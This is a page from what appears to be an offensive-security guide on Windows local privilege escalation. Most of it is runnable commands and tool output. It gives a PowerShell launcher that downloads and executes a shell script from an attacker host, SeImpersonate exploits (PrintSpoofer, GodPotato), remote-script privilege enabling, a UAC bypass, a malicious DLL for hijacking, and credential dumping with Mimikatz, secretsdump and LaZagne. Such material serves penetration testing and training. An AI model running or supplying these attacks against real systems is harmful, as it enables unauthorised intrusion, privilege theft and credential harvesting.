Local Privilege Escalation
Escalate privileges on a local computer to become a more powerful user
After the Local Enumeration phase, you might have found some interesting things. This section explains how you exploit some findings to reach the Administrator on the current (local) computer.
Once this is successful, you should have enough permissions to do anything on the machine. The main goal is often using Post-Exploitation: Mimikatz to read cached credentials from a memory dump of the LSASS.exe
process.
Credentials
Many times the enumeration efforts result in some new credentials being found. SeeSpray passwords for tools that can spray credentials over systems quickly, to find which computer or user they belong to.
You can also start a local process as another user from CMD/PowerShell using the runas
command. This will start a new window as that user after filling in the correct password:
runas /user:j0r1an powershell # local
runas /user:corp\j0r1an powershell # domain
The above only works in an RDP setting where you interactively type the password. For shells instead, you can use PowerShell to create a new process with your credentials:
$pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force
# 1. Local account
$c = New-Object System.Management.Automation.PSCredential("$USERNAME", $pass)
# 2. Domain account
$c = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USERNAME", $pass)
Start-Process -Credential ($c) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://$IP:8000/shell.ps1')" # Run your payload here
Privileges
Windows uses 'privileges' to determine what you can and can't do. There are some uninteresting default privileges, but also some that give a lot of power. Check them with the whoami
command:
PS C:\> whoami /priv
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
From these the SeShutdownPrivilege
is a little interesting, as it allows you to reboot the machine. Some exploits only trigger at the startup of a service for example, and a reboot can trigger this at will.
Local administrators will have all the permissions that exist, so they can do anything on the computer. Sometimes a middle ground is chosen to give low-privilege users some extra privilege, but this can backfire if they are powerful ones that can be abused.
SeImpersonatePrivilege
This privilege allows you to impersonate other users like nt authority\system
. This user can do anything, like dumping LSASS memory with Mimikatz. Exploits exist that abuse this to get a shell:
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
PS C:\> .\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
nt authority\system
It's possible that this exploit above does not work, but some alternatives might work in these scenarios. First, there is GodPotato which you can download pre-compiled from the Releases, and execute:
.\GodPotato-NET4.exe -cmd ".\shell.exe"
Lastly, there is also SharpEfsPotato which needs to be compiled by hand using Visual Studio:
.\SharpEfsPotato.exe -p C:\Windows\Tasks\shell.exe
Other Se...Privilege
'Disabled' privileges
In rare cases, privileges might be Disabled which doesn't let you abuse them. Luckily for the attacker, this is only a setting that you can easily Enable for any privilege. The EnableAllTokenPrivs.ps1 script can be used to enable all these privileges:
PS C:\> whoami /priv # Some privileges are disabled
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\> IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1');
PS C:\> whoami /priv # Now everything is enabled
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
UAC Bypass
Using whoami /groups
you can find if your user is in the BUILTIN\Administrators
group, and if they are, you should be able to reach the Mandatory Label\High
, which might be at Mandatory Label\Medium
right now.
PS C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
An Administrator should be able to start a Mandatory Label\High
process, but this usually involves a user pressing "Yes" on a GUI prompt, this is the User Account Control (UAC) at work.
This feature is however bypassable without a GUI using AutoElevate programs. To check if a binary has the AutoElevate property, we can use sigcheck:
C:\> sigcheck -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
Many different built-in programs have this property set, but not all are secure. Microsoft seems to not classify UAC bypasses as an issue, so this repository collects dozens of working methods:
To build the tool, open the Source folder in Visual Studio. This should open the "Akagi" project which you can build in Release mode for x64 architecture:

When building is done, you should find the compiled binary in "Source\Akagi\output\x64\Release\Akagi64.exe".
This can now be executed on the target by choosing a technique, and a program to start in a new window with the elevated privileges:
.\Akagi64.exe 61 powershell.exe
PS C:\> whoami /groups
...
Mandatory Label\High Mandatory Level Label S-1-16-12288
DLL Hijacking
Programs in Windows have assembled code that they execute, but also often load libraries and call their code to prevent having every program include some basic functionality. Which libraries to load can be completely decided by the program, and they can even make their own custom libraries (DLLs). When the program is started, directories are searched for the library names in the following order:
Directory containing the
.exe
that startedC:\Windows\System32
C:\Windows\System
C:\Windows
Current working directory
Any directories in the system
$env:path
environment variableAny directories in the user
$env:path
environment variable
While 2-5 are often pretty locked, the 6 and 7 variables might contain some interesting directories that you may write in. Check their paths in PowerShell like so:
PS C:\> [Environment]::GetEnvironmentVariable("Path", "User")
C:\Users\$USERNAME\AppData\Local\Microsoft\WindowsApps;
PS C:\> [Environment]::GetEnvironmentVariable("Path", "Machine")
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\
Perhaps the most interesting of all of these is 1, the directory containing the executable. If we as the attacker can write in this directory, and the executable is run in a higher-privileged context, we can overwrite an existing DLL to run whatever we want. Check permissions using icacls
or just try writing there with a simple echo a > a
.
When having confirmed that a writable searched directory exists, we need to find what DLLs are loaded by the executable. A very unscientific way of doing this is simply searching for .dll
names in the program binary after transferring it over to your Linux machine:
$ grep -Eao '\w+\.dll' Program.exe | sort -u
0.dll
MyLibrary.dll
VCRUNTIME140.dll
advapi32.dll
dbghelp.dll
kernel32.dll
Any of these will probably work, but MyLibrary.dll
seems custom and most likely, so we'll focus on that. To find out what libraries are actually loaded we can dynamically analyze it by running it locally and attaching Process Monitor, then looking for CreateFile events with .dll
extensions:

Now that we have found a potential place and name for a DLL that we can overwrite, we have to create a malicious DLL that runs what we want, like a reverse shell also stored on the system. We just need to define the special DllMain()
function and handle the different cases:
#include <stdlib.h>
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule, // Handle to DLL module
DWORD ul_reason_for_call, // Reason for calling function
LPVOID lpReserved) // Reserved
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
system("C:\\Windows\\Tasks\\shell.exe");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
Then we can compile this code locally from a Linux machine by using the mingw
compiler, to create a .dll
shared library. This can be moved over to the vulnerable location on the target.
x86_64-w64-mingw32-gcc MyLibrary.cpp --shared -o MyLibrary.dll
Post-Exploitation: Mimikatz
When having taken over a computer to full Administrator privileges, and the High
Integrity Level, tools like mimikatz.exe
can use these privileges to do a lot of nasty stuff. The tool is a big collection of commands that should be run on the target itself as an executable. Its most common use case is extracting in-memory credentials from the computer to use in further attacks, like cracking or passing them.
Some commands require privilege::debug
or even token::elevate
to be run before, to activate the required privileges. Make sure to try these first when you encounter errors.
The sekurlsa::logonpasswords
, lsadump::lsa
and lsadump::sam
commands go hand-in-hand, finding different plaintext credentials, NTLM hashes, or Kerberos tickets from logged-on users in memory for the first, and by asking the LSA server for the latter. These are incredibly useful for starting Lateral Movement.
sekurlsa::tickets
is another such tool that finds active Kerberos tickets to export and import.
The sekurlsa::pth
command stands for "Pass The Hash", allowing you to spawn a process as another user only knowing their NTLM hash.
Remote alternatives
There are some tools that run the techniques Mimikatz uses from a remote perspective, which may be quicker to use. Here are a few of them:
Remotely dump all kinds of secrets on the target computer, from NTLM hashes to SAM and LSA. While this finds and dumps a lot, it won't find everything (read more in this article).
python3 secretsdump.py $DOMAIN/$USERNAME:$PASSWORD@$IP
lsassy -u Administrator -H 2ffb2676507e81cb73211213ed643202 -d hackn.lab 10.10.10.0/30 --users
LaZagne
.\LaZagne.exe all
Last updated